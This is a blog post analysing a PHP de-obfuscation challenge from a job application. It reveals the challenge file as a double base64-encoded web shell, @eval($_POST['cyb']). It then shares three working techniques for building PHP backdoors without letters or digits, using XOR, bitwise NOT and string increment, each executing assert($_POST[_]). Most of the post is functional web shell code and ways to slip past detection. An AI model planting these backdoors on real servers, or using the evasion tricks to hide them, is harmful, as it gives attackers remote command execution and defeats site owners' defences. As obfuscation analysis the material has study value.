Background

There was an online challenge for one position I applied last year. It was an easy PHP de-obfuscation. I modified it so it can not be searched for those who are doing the similar exercise and share it here.

The Original Problem / Analysis

<?php 
$cybe2="UUdWMllXd";$rcyb3="29KRjlRVDFOVVd5ZGplV0l";$ercy1="uWFNrN";$ency1="w==";
$gooo5 = str_replace("fb9","","fb9sfb9tfb9rfb9_rfb9efb9plfb9afb9ce");
$hhab8 = $gooo5("pq2", "", "pq2bapq2spq2e6pq24pq2_pq2dpq2epq2cpq2opq2dpq2e");
$xlco7 = $gooo5("gbz1","","gbz1cgbz1regbz1atgbz1egbz1_fgbz1uncgbz1tgbz1iogbz1n");
$safm1 = $xlco7('', $hhab8($hhab8($gooo5("#;*,.", "", $cybe2.$rcyb3.$ercy1.$ency1)))); $safm1();
?>

The problem was: what does this file do?

Though it looks intimidating, it is not that hard when you go the lines one by one.

$gooo5 = str_replace("fb9","","fb9sfb9tfb9rfb9_rfb9efb9plfb9afb9ce");

When you print or use notepad to do the replacement, you will find the whole string $gooo5 becomes “str_replace”.

Then, $gooo5 and $xlco7 are using $gooo5 to do the str_replace, which are very similar to the first step.

$hhab8 = $gooo5("pq2", "", "pq2bapq2spq2e6pq24pq2_pq2dpq2epq2cpq2opq2dpq2e");
//base64_decode
$xlco7 = $gooo5("gbz1","","gbz1cgbz1regbz1atgbz1egbz1_fgbz1uncgbz1tgbz1iogbz1n");
//create_function

Knowing above, we can take a look at the last line:

$safm1 = $xlco7('', $xxfu8($xxfu8($cbjo5("#;*,.", "", $oskl2.$gkst3.$hbkw1.$rcxh1)))); $safm1();
//$safm1 = create_function('', base64_decode(base64_decode(str_replace("#;*,.", "", $oskl2.$gkst3.$hbkw1.$rcxh1))))

So we know the finally result will be two times base64 decode of the concatenation of

$cybe2="UUdWMllXd";$rcyb3="29KRjlRVDFOVVd5ZGplV0l";$ercy1="uWFNrN";$ency1="w==";

First time base64 decode gives:

QGV2YWwoJF9QT1NUWydjeWInXSk7

Second time base64 decode gives:

@eval($_POST['cyb']);

So the whole file is a PHP-backdoor which will execute anything passed in the “cyb” parameter as commands.

More

While this problem ends, there are actually more way to do obfuscation in PHP, even without number and letters.

I’d like to share some ways to do it and the credits go to PHITHON. (See reference)

The idea is to use chars that do not belong to number, letters to formulate any char between [a-z] and then use the feature that PHP allows dynamic function execution to concatenate a function. (i.e. assert)

Idea 1:

Since in the PHP, the resut of two chars XOR with each other is still a char. Therefore, we can use XOR to produce letters.

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

(Note that %01 is not real “%01”, it is only URL representations for those invisible chars)

Idea 2:

This idea is nearly as same as idea 1 but it uses “NOT” instead of “XOR”.

Method 2 uses a UTF-8 encoding of a Chinese character and takes out one of the characters, for example, ‘和’ {2} results in “\x8c”, the inverse of which is the letter s.

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

This method also uses another feature of PHP that True = 1

So that 2 can be reprensented as “True” + “True”, which is line 1:

$__=(‘>’>'<‘)+(‘>’>'<‘);

Idea 3

This method uses the basic feature that “a”++ => ‘b’

Also, the type “Array” has both “A” and “a” so that we can use it as the base to add on.

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Reference

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html